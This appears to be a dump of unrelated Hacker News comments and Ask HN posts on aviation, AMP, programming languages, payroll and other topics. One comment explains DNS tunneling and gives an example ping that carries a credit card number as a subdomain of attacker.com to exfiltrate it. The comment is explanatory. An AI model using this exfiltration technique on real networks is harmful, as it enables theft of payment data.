skysight-inc/HackerNews huggingface dataset:
That's not in most people's threat model. If it is in your threat model, you can change the DoH provider to any such service you want. CF with the additional privacy policy is an excellent default choice.
Kotlin solve everything about it.
Airbus scandal won’t come “in a month”: Boeing’s problems became public in 2013 and it is the same problem over and over.

- The Ducommon airframes in 2013, problem is FAA delegated certification to Boeing,

- The batteries, albeit smaller,

- The MAX, 2 crashes due to oversight and to the FAA delegating certification to Boeing.

Boeing’s problem didn’t come in a day, but in 20 years since the merge with MD, who had the same lose and fast culture. Airbus is safe for the time being, even if risks always exist, political instability for example. Not the case for the moment.
Dang, that game Yogi sounds very fun, but doesn't seem to be available in the US.
Possibly. And these industries do indeed already do this.

I am not sure why people aren't aware of this, and think this question is some sort of gotcha. These industries are indeed trying to get more male representation.

But, since engineers make a whole bunch of money, it makes much more sense to be worried about representation in this industry, because of all the power and money that it confers to people who have these jobs.
Looks great!

One tool that I would love to have, and that every DM I know would as well: integrated music handling. I'd love to upload music files, and be able to embed looped playlists of them within area descriptions or encounter descriptions.
I'd like to have more data on the women graduating from bootcamps. Maybe it is a desperate move of aging single moms who find they can't make a living with their degree in English Literature? While most men who are interested took traditional degrees to begin with, so they have less need for bootcamps.

Sorry for the harsh formulation, but the point is, we really don't actually know what is going on. It is not legitimate to just assume women are being pushed away from traditional career paths in IT.

As for Military, I think the idea to become a Software Developer is by now a very common one, you don't have to come from a specific demographic to have heard of that option. Women come from the same backgrounds as men, the odds to have a baby girl or a baby boy are the same at all levels of society.
The only truth about the world is the world itself. Beyond that, truth is a story which omits and simplifies most while emphasizing some things specificially. Depending on what you omit and what you emphasize you can tell very different stories with "truth".
Java hate aside, I love the idea of pictorial format for specifying data flow.

Haskell is wonderful in its partial application, '.' composing, and other such tools, that really let you quickly and easily specify how your data flows through your functions. My gripe is that it starts getting weird when the order of arguments don't line up, when you have to swap some values, when you have to take a partial result and only apply it 3 steps later.. the Haskell syntax really breaks down from its usual purity in those cases. A flow diagram picture, similar to as shown in the article, makes it immediately obvious what is happening. I wish there was more integration with current IDE's for this sort of different representation styles
They sound a bit defensive, eh. They doth protest too much, methinks.
Their AMG doing 120 mph in Nebraska on I-80 on Sunday is probably a lot safer than the Governor's Chevy Suburban doing 91 on the Garden State Parkway.

"Corzine's car was doing 91 mph before crash" - https://www.reuters.com/article/us-corzine/corzines-car-was-...

>Corzine was not wearing a seat belt, the statement said, confirming earlier statements by Corzine’s officials.
Office productivity tools do typically have WYSIWYG editors: Word, Outlook, Gmail, ...
I strongly agree. Web developers and app designers should work to build fast, performant web sites that use bandwidth carefully because that's good for end users. But the entire AMP approach to doing this is questionable, and as we have seen over the years it appears to act more like a way to give Google more undeserved and unnecessary control over what should be an open web.

More broadly, I consider this yet another reason to avoid using Google properties where possible. They have shown themselves to be bullies and bad actors who want to control the internet and oppose an open web. I recommend simply not building AMP pages at all, but instead working to build high quality, performant websites which gracefully handle device size changes and lack of javascript.
>> Apple : "The icon appears for system services that do not have a switch in Settings"

> ... If Location Service is enable, these services will have access to them ...

> The Author seems to miss the fact that the unknown service causing the icon to appear isn't in the list of individual settings.

OK, so how do we know what this mystery service does? The obvious candidates (E911/SOS, FindMyPhone, Location-based ads, etc) all appear in the list. I think this definitely raises questions about what remaining service is asking for location, and especially what that is being used for. Given that this article is coming from a security blog, there is a definite implication of questioning the intentionality / consent of a broad setting like "location services on/off" has unknown, unlisted users [and especially when most users of such a setting have individual toggles].
This is why I don't think this is an OS problem. I think it's a developer mindset problem.

Dependencies are bad.

Every single dependency in your code is a liability, a security loophole, a potential legal risk, and a time sink.

Every dependency needs to be audited and evaluated, and all the changes on every update reviewed. Otherwise who knows what got injected into your code?

Evaluating each dependency for potential risk is important. How much coding time is this saving? Would it, in fact, be quicker to just write that code yourself? Can you vendor it and cut out features you don't need? How many other people use this? Is it supported by its original maintainer? Does it have a deep-pocketed maintainer that could be an alternative target for legal claims?

Mostly, people don't do that and just "import antigravity" without wondering if there's a free lunch in there...
That's incorrect - you would only expect no "margin" in a perfectly competitive market, which obviously isn't the case in the market for airliners.

In markets where firms have market power, there is an explicit and well-studied phenomenon known as "double marginalization"[1][2], which is what the parent comment is describing. Vertical integration is one possible solution to this problem, although there are other approaches as well.

Double marginalization also occurs elsewhere in the air travel industry. Imagine I flew on American Airlines from Charlotte to London, and then continued on British Airways from London to Lyon. If both airlines set their prices independently, then they would both add a markup, and the combined price of the itinerary would be higher than the profit-maximizing price that a single airline would set. In this situation, antitrust authorities will often allow the airlines to form a joint venture and coordinate on price-setting. This reduces horizontal competition (because e.g. AA and BA are no longer competing with one another for passengers on JFK-LHR), but can provide consumer benefits if eliminating double marginalization allows airlines to set their prices lower on multi-airline itineraries.

[1] https://en.wikipedia.org/wiki/Double_marginalization

[2] https://mru.org/courses/development-economics/double-margina...
The only thing worse than AMP? Paywalled AMP sites.
The criticism doesn't really apply to Python and JavaScript though. Not to say that Python and JavaScript don't have their own issues, but dependence on an IDE tightly coupled to the language semantics is not one of them.
It will be interesting how Boeing/Airbus/traditional carriers react when China fully enters the market with Comac-built/branded planes. Commercial flights of its first plane, the C919 are slated for 2021. The whole 737 MAX fiasco really came at a bad time for the US aerospace industry, and if the other comments about Airbus being just as bad culture-wise are true (profits/jobs over serious engineering), then China could really be set up to take a lot of commercial aircraft market share over the coming decades.
The magic of DNS tunneling is that it uses the normal methods of resolving names, so internal DNS servers/forwarders become proxy servers for the attacker's connection out to the Internet.

The most simple example someone gave me years ago was if someone wants to exfiltrate a credit card number, they can ping 4084515531278764-0424-789.attacker.com from an internal system. It doesn't matter if the ping succeeds. If the internal system gets a resolution response back from the internal DNS, the attacker has the card number in their DNS logs.

Tunneling TCP or other C2 traffic is just an extension of that which includes the attacker's DNS server sending a message (4 arbitrary bytes in the form of an IPv4 address, or more data in the form of a TXT record response, etc.) back to the internal system via the normal response path.

Its pretty clever, IMO. Most sysadmins think of DNS as being like a phonebook, but phonebooks are a single, supposedly authoritative source, and DNS is decentralized.
Discussed last year with 340 comments: https://news.ycombinator.com/item?id=17920720
That seems a bit confusing given how the loop works.

999,999 shouldn't be big enough to be affected by floating point rounding.

If the comment is correct then Java will evaluate ( 999999 >= 1000000 ) as true, which simply cannot be correct.
I don't think people understand how much hyperbole like this undermines their arguments.

"I think this is horrible" [maybe I don't agree but it's a valid opinion]

"The US is as totalitarian as China" [ok, this person doesn't know what they are talking about]
Great point, thanks for your comment!

We stayed away from implementing more advanced locking features in the initial version, but since it came up this early we'll definitely work on it.
Hmm, not so sure, it a global habit and for each country that does it, then it goes international. Lots of other countries merge their major manufacturers, or allow them to, then - being 5x larger - find themselves powerless to avoid being bought out by their American cousins.

Has happened to countless engineering, manufacturing, chemical and tech here in Europe. I suspect it would already have happened with most of the last remaining defence players were they not defence players.

We're starting to see similar now China has risen as far as they have. Real competition is really, really unpopular in today's world.
I always calculate the income of my grandfather against mine using [1] calculator, he was earning about 3k per month when he was about ~30. That's about 9.5k per month in today's money, I'm earning about 3.8k per month.

So is more than double, it kind of match the graph, which I found interesting.

https://data.bls.gov/cgi-bin/cpicalc.pl
Ask HN: Anyone done payroll for a one person LLC?
I have a single member LLC that I'm filing as an S-Corp to reduce my taxes.

Now that I'm going to be an employee of my company I looked into some payroll solutions (Quickbooks, JustWorks, Gusto) and was surprised at some of the pricing for a single person.

I did some research and it doesn't seem too difficult to do a basic payroll (no benefits, payed quarterly) for just yourself, it seems like it's a few forms: some quarterly, some at tax time.

For a basic payroll is it worth it to pay $500 - $600 / yr, when you can do it yourself?
Am I underestimating the complexity of payroll or am I missing some aspect that I can't do myself?

helpful articles I found:

https://evergreensmallbusiness.com/quick-and-dirty-payroll-for-one-person-s-corps/

https://www.patriotsoftware.com/payroll/training/blog/small-business-payroll-program-irs-forms/
re: "Google is also the reason AMP sees any kind of adoption at all. Basically, Google has forced websites – specifically news publishers – to create AMP versions of their articles."

Actually, that's not quite right. Publishers have forced Google to forced publishers to use AMP. That is, publishers can't control themselves and are adding more and more and more bloat to their pages.

I am by no means a Google and/or AMP fan, but the truth is most sites have no respect for the receiving device and/or connection speed.
The problem I think is that people attribute all of success to the sheer iron will and willingness to suffer of the individual, when that just isn't the case. Are you attributing all of Amazon's success to Bezos solely? If he left do you assume Amazon would immediately start to fail? Was it Bill Gates alone who kept Microsoft afloat?

You have to consider luck, there's a ton of people in the world who put in the work and didn't get anything, and it's not just because they didn't work hard enough.
That's quite a lot of pot calling.

And your last paragraph is just a complete misunderstanding of what the poster said. My comment was not to denounce the rule about where you point the gun, but to note that your claim about killing was unfounded.

> And I don't have to kill them if I pull a gun on one

The fact that you don't understand this is really troublesome. Are you one of those people who believes in that old myth about swords having to taste blood before being resheathed? Because this is on that level.
Pluck versus Luck
That makes sense. Since AMP is intended to be a more optimized site structure than the average website, pages adhering to the AMP standard should increase the performance of the web on average, whether or not the site actually gets indexed into Google's localized caches.

We have HNers complaining about bloated JavaScript pages all the time. Maybe Google has actually found a way to tip the market away from those page designs?
Neither does Google. They prioritise AMP pages over regular pages, regardless of what the regular page looks like.

EDIT: @afiori comments below that this may no longer be the case.
Wouldn't the 787 also be a valid alternative (the smaller variants)?
Ask HN: What are the Madrid and Barcelona tech scenes like?
A similar topic was posted back in 2017, but I'm sure things have changed since then: https://news.ycombinator.com/item?id=14386607

I'll be moving to Madrid for a year for non-career related reasons. I hold an EU passport and I'm fluent in both English and Spanish. My background is in data analytics (Python/R/Stata) rather than software development. That said, I would like work in tech while in Spain.

My questions: How are the Madrid and Barcelona tech sectors nowadays? What types of work are available? How are salaries? Are there any unintuitive factors to consider?
Java has generics
In the last few years my opinion of Google has gotten worse and worse. I dread to think of what it will look like in 5 or 10 years time.
For Wikipedia I donate money and not time. I agree, people can be possessive about their turf there, but I think that would only be a real problem if Wikipedia weren't amazingly good.

Wikipedia has a great output. In my view they don't need my time and effort. They're doing great now. When I see a message asking to donate money, I do, because I assume they do need that if they're asking for money.
> I'm strongly against creating interfaces for non-library (not shared) code, that will only ever have one concrete implementation.

Even if it does, for a mild behavior change or a test implementation, the simple fact that Java methods are virtual-by-default is a huge benefit here.

C#, on the other hand, is final-by-default. This makes code much more annoying to deal with unless it implements an interface and/or is thoughtfully written with these cases in mind.
It feels like beating a dead horse. There are other options on the JVM like kotlin that are pretty much boilerplate free.

I will say this for java though : it has what is in my experience the best IDE support. Kotlin is not that bad but all these generated sugar (e.g. in a data class) make some operations like "find usages" way more complex and slower.
> What's wrong with competing alone?

Nothing rong, per se, but there are limits to what individuals can do on their own. When you eliminate groups of cooperating individuals, there are much lower limits to what can be accomplished. Specifically when taking about the achievements of society, most enterprises require the efforts of cooperating groups. I feel like this is blatantly evident and doesn't require explanation.

> It's still coeperation on a societal scale, e.g competing as an individual in a competition is still co-operating with the competition itself.

I think you are mangling the definition of 'cooperation" here. It certainly is possible to compete and cooperate simultaneously (often by strictly limiting the scope of the competition and by sharing knowledge), but that doesn't mean that competing is cooperation. Even so, within that "societal scale" competition, the best results are achieved by groups that operate with either no or greatly limited internal competition.
Not many people get degrees in fund management, but aren't actively managed funds being increasingly seen as just dart throwing anyway?

If fund managers are on average no more lucky than just following the market then it'd stand to reason it doesn't matter what their degrees are in because they had no real skill to begin with.

My own experience of finance has been that jobs are handed out in ways and for reasons that would seem extremely lax to someone from the tech world.
There's a lot of research at the "P = BQP?", "NP < BQP" kinda level, which is more like comparing big O notation runtimes.

I can tell you that Shor's algorithm for factoring takes O((log n)^2 (log log n)(log log log n)) (we can round that up to O((log n)^4) if you want)
to a the best known classical algorithm of

O(exp(1.9 * (log n)^(1/3) (log log n)^(2/3)))

But unless I tell you how fast each gate is, that tells you nothing about the constant time factors.

Also, all these quantum algorithms are constructed out of logical gates, but each logical gate might be built out of 10 physical gates, using some error correcting code.

Since you really need to know the physical characteristics of the particular architecture to know how much error correction you need, it's hard to even say how many gates something will use and how fast they are until we pick a particular architecture.

All we can really say is that given a big enough number, a quantum computer can factor it faster than a classic computer.
it depends greatly on your definition of "best people". What I observed during my career is that no matter how much emphasis we put on things like schools, the best predictor of success is the quality and the composition of the organization. I've seen best people from other companies perform horribly, and people you wouldn't bet on with a sane mind go and do admirable things. Over time I learned to just let go of most of what my instinct tell me about perceived performance in tech work because frankly most of what we know and believe is bullshit.
Thought for a second someone had posted this on HN: https://fridababy.com/products/windi - Which is a bit of a hack in itself, and one that I'm sure would have generated some interesting responses.
Download case study on how a Fortune 500 embraced DataOps
I have not played it with only adults for a long time, only with (young) children mixed and parents/family; there are a lot of examples to ruin the game (for me and kids and most adults except 'the winners' (woohoo! I beat some kids at a boardgame!)); one of them (one of the most annoying imho) being that if you pick up (at least) 1 of every monopoly and then refuse to trade/sell unless it's for crazy amounts. So no-one can have a monopoly; then it's just a tiresome waiting game, so people (esp kids, but me too as i'm bored already thinking about it) are going to forfeit or will just buy stuff at stupid prices hoping to get lucky (which they won't usually). You don't need to do that and you can just 'sit it out' but it ruins the game element completely. Ofcourse this requires luck with the dice but more often than not, the monopolies are quite evenly distributed in my experience. It depends what you get, but if you have this hand, then you will probably win by tiring everyone else out (especially because really no-one else cares about winning; we were just wanting to have fun).

> It's like beating you is all that matters to them

It does, which is weird considering this is not actually real life or real money; it's (can be anyway) a nice boardgame on a rainy sunday.
This is just one example of a general tension between compiling to produce an asset vs compiling as a service to provide data for tooling. The environments and things you optimize for are different, so you get differences like this. Compilers like what C# and F# use unify these into the same codebase (no presentation compiler) but the tradeoffs still exist.
People don’t buy WHAT you do, they buy WHY you do it
So a lot of the complaints are not entirely true anymore.

If you onboard lombok, you get data classes, which resolves the property boilerplate.
If you use IntelliJ the code is generated.

I used Java and Go and I have to admit, that Java feels like the more practical language.

Generics and error-handling are really painful in Go.

The most painful part in Java is having to deal with other people's code that makes it look weird. Google has a very good set of libraries that make the Java world much more pleasant.
Thanks for that link! I found this part especially interesting:

"In particular, the laws stress that it is a programmer’s expression of some functionality that may be protected by copyright, and not the functionality itself. If code embodies the only way (or one of very few ways) to express its underlying functionality, that code will be considered unoriginal because the expression is inseparable from the functionality. Similarly, if a program’s expression is dictated entirely by practical or technical considerations, or other external constraints, it will also be considered unoriginal."

Sounds like a case that at least some snippets aren't copyrightable.
> I am absolute against such a thing, in fact I consider it an insane proposal.

44 minutes ago

> Whether it should be possible to be arbitrarily rich is another question.

You were so close to getting it, what happened to you?

> Well, again, start accumulating capital, if it is such an unfair advantage.

Hey, person who can barely make it to get by and spends all of their income on subsistence-level living, why don't you just get more capital?

> The acts of their parents are not the children's fault, of course, and everybody should be given a fair chance to make it in life. But there are limits.

You continually try and straddle the line with these declarations, but just draw completely arbitrary distinctions: everyone should be given a fair chance to make it--but what is fair, how is this decided, who enforces it? What are these limits and why are they decided? There's no rhyme or reason to what you're saying, just whatever sounds the best to you.

> And even more basic than that: people should be allowed to do with their money as they please.

So it's perfectly acceptable when Coca Cola sends death squads to kill labor organizers. The ancap fever dream is terrifying.
Could you provide a link?